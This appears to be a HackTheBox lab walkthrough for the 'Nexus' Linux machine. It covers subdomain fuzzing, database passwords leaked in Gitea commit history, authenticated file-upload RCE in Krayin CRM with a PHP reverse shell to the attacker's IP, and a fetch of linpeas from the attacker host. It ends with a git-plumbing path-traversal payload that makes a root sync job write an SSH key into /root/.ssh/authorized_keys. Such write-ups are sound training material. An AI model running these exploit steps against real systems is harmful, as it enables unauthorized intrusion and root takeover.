HTB

HTB: Nexus
Machine IP: 10.129.234.54
Difficulty: Medium
OS: Linux (Ubuntu 24.04)
Tools Used
nmap- port scanningffuf- vhost/subdomain fuzzing- Google/AI search - CVE research
python3(exploit-db script 52629.py) - authenticated RCE exploitnc- reverse shell listenerlinpeas.sh- privilege escalation enumerationgit- low-level plumbing commands (mktree, commit-tree, update-ref)ssh-keygen- SSH key generationmysqlclient
Step 1: Reconnaissance - Port Scanning
sudo nmap -n -Pn -sV -sC 10.129.234.54
Result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx/1.24.0
|_http-title: Did not follow redirect to http://nexus.htb/

Port 80 redirected to http://nexus.htb/, so this was added to /etc/hosts and the site was browsed.
Step 2: Website Recon - Finding a Valid Email
Browsing http://nexus.htb revealed a Nexus Energy Authority corporate site. A “Careers” job posting for an Operations Specialist – Customer Platforms role leaked an internal contact:
Questions? Reach out to our hiring manager j.matthew@nexus.htb

This gave a valid internal username/email: j.matthew@nexus.htb — useful later once a password was found.
Step 3: Subdomain / Virtual Host Enumeration
Since the box uses name-based routing (nexus.htb), a vhost fuzz was run to discover other subdomains hosted on the same IP:
ffuf -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -mc 200
Result:
git [Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 202ms]

This revealed git.nexus.htb — a self-hosted Gitea instance. Both git.nexus.htb and billing.nexus.htb (referenced elsewhere on the site / assumed convention) were added to /etc/hosts.
Browsing to git.nexus.htb confirmed a Gitea instance:

Step 4: Discovering Krayin CRM & Leaked Credentials via Gitea
An admin account on Gitea had a public repository, krayin-docker-setup, containing the Docker Compose configuration for the billing CRM deployment:

Critically, the commit history of the .env file in this repo showed an earlier version of the file with the database password committed in plaintext before being redacted:
- APP_URL=http://nexus.htb
+ APP_URL=http://billing.nexus.htb
...
- DB_PASSWORD=N27xh!!2ucY04
+ DB_PASSWORD=
This leaked:
- The subdomain
billing.nexus.htb(the Krayin CRM instance) - A password:
N27xh!!2ucY04
Combined with the email j.matthew@nexus.htb found earlier, this gave a credential pair to try against the CRM login.
Step 5: Krayin CRM Login & Version Fingerprinting
billing.nexus.htb hosts a Krayin CRM (open-source CRM by Webkul) admin login:

Logging in with j.matthew@nexus.htb / N27xh!!2ucY04 succeeded, landing on the admin dashboard:

Fingerprinting the version and searching for known vulnerabilities revealed Krayin CRM 2.2.x is affected by several critical CVEs, most notably an authenticated RCE via unrestricted file upload:

CVE-2026-38526 — Unrestricted Arbitrary File Upload via /admin/tinymce/upload, allowing an authenticated user to upload a crafted PHP file and achieve RCE in the web server context (CVSS 9.9 Critical). A public PoC exists on Exploit-DB (52629).
https://www.exploit-db.com/exploits/52629
Step 6: Exploiting the RCE (CVE-2026-38526)
Reverse Shell Payload
The classic pentestmonkey PHP reverse shell was used, pointed at the attacker’s IP:
$ip = '10.10.14.59';
$port = 9001;
Listener
nc -lvnp 9001
Exploit Execution
python3 52629.py -t http://billing.nexus.htb/ -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -f php-reverse-shell.php
Gotcha: The password contains
!!, which bash interprets as history expansion unless single-quoted — an early attempt without quoting mangled the argument and caused a parsing error.
The exploit uploaded the payload through the CRM’s file upload endpoint and triggered it, catching a shell as www-data:

python3 -c 'import pty; pty.spawn("/bin/bash")'Step 7: Reading the .env File for Further Credentials
As www-data, the live application’s .env file was read directly:
cat .envAPP_NAME="Krayin CRM"
APP_URL=http://billing.nexus.htb
DB_CONNECTION=mysql
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

This is a different, updated password from the one leaked in the Gitea commit history — confirming the earlier leaked credential had since been rotated, but the app config itself was still readable post-RCE.
Step 8: SSH Access as jones
The .env DB password (or a related credential — same password reuse pattern) worked for SSH login as the low-privileged user jones:
ssh jones@10.129.234.54

User Flag
jones@nexus:~$ cat user.txt
4cd7542afd3cbc68ef6d8354419fdb21Step 9: Local Enumeration
sudo -lResult: jones had no sudo rights. SUID/SGID binaries enumerated were all standard system binaries - nothing directly exploitable.
Step 10: linpeas Enumeration
linpeas.sh was transferred to the target via a Python HTTP server on the attacking box:
# Attacker box
python3 -m http.server 8000
# Target
curl http://10.10.14.59:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txtKey Findings
1. Krayin DB password confirmed in linpeas output - /var/www/krayin/.env:
DB_PASSWORD=y27xb3ha!!74GbR
2. A root-owned systemd timer running every minute:
Potential privilege escalation in timer file: /etc/systemd/system/gitea-template-sync.timer
└─ RELATIVE_PATH: Uses relative path in Unit directive
systemctl cat gitea-template-sync.service[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50sGitea (git.nexus.htb, internally bound to localhost:3000) ties directly into this sync job.
Step 11: Source Code Review — Finding the Privesc Bug
/etc/gitea/template-sync.py was world-readable (owned by git:git, mode 644). Its logic:
- Queries the Gitea API for repositories marked as “template”
- For each template repo, reads the git tree (
git ls-tree -r HEAD) from the bare repository - Writes each entry out to a staging directory:
target = os.path.join(stage_path, filepath)
...
with open(target, 'wb') as f:
f.write(cat_result.stdout)The Vulnerability
filepath comes directly from git tree entries inside a user-controlled repository. Python’s os.path.join() has a well-known behavior:
>>> os.path.join("/home/git/template-staging/jones/rce", "/root/.ssh/authorized_keys")
'/root/.ssh/authorized_keys'If the second argument is an absolute path, it completely overrides the first. Since this script runs as root every 60 seconds, controlling filepath gives arbitrary file write as root.
Step 12: Building the Exploit
Git’s CLI (git add, git mktree) refuses filenames containing a literal / or empty names, so a direct absolute path couldn’t be committed normally. This was solved using git’s low-level plumbing commands to construct a tree object with a ../ traversal path instead of a leading /.
12.1 — Login to Gitea and create a template repository
Using the jones credentials against git.nexus.htb:
password- y27xb3ha!!74GbR

A repository jones/rce was created and marked as a Template Repository (required — the script only syncs repos with template: true).
12.2 — Clone and generate payload
git clone http://jones@localhost:3000/jones/rce.git
cd rce
ssh-keygen -t rsa -f /tmp/pwnkey -N ""
cat /tmp/pwnkey.pub > authkey_payload
git add authkey_payload
git commit -m "sync"12.3 — Craft the traversal path via git plumbing
The staging path was /home/git/template-staging/jones/rce — 5 directories deep from root. Wrapping the payload blob in 5 nested .. trees resolves back to /root/.ssh/authorized_keys:
BLOB_HASH=$(git ls-tree HEAD | grep authkey_payload | awk '{print $3}')
L1=$(printf "040000 tree %s\t..\n" "$TREE3" | git mktree) # TREE3 = payload wrapped as root/.ssh/authorized_keys
L2=$(printf "040000 tree %s\t..\n" "$L1" | git mktree)
L3=$(printf "040000 tree %s\t..\n" "$L2" | git mktree)
L4=$(printf "040000 tree %s\t..\n" "$L3" | git mktree)
L5=$(printf "040000 tree %s\t..\n" "$L4" | git mktree)Verification:
git ls-tree -r $L5
100644 blob 9be1566acda8cc0f68242bf53ad6f82269162847 ../../../../../root/.ssh/authorized_keys12.4 — Commit and push
NEW_COMMIT=$(git commit-tree $L5 -m "payload")
git update-ref refs/heads/main $NEW_COMMIT
git push origin main --forceGotcha: The first push attempt targeted
master, but Gitea’s bare repoHEADstill pointed atmain(the script reads fromHEAD). The payload had to land onmainspecifically for the sync script to pick it up.
Step 13: Confirming the Write & Getting Root
Timer logs confirmed the sync picked up the crafted path:
tail -f /var/log/template-sync.log[2026-07-19 05:55:41] Syncing template: jones/rce
[2026-07-19 05:55:41] synced: ../../../../../root/.ssh/authorized_keys
The attacker’s public key was now written into /root/.ssh/authorized_keys, executed as root via the timer.
ssh -i /tmp/pwnkey root@10.129.234.54root@nexus:~#
Root Flag
root@nexus:~# cat /root/root.txtStep 14: Lab Solved
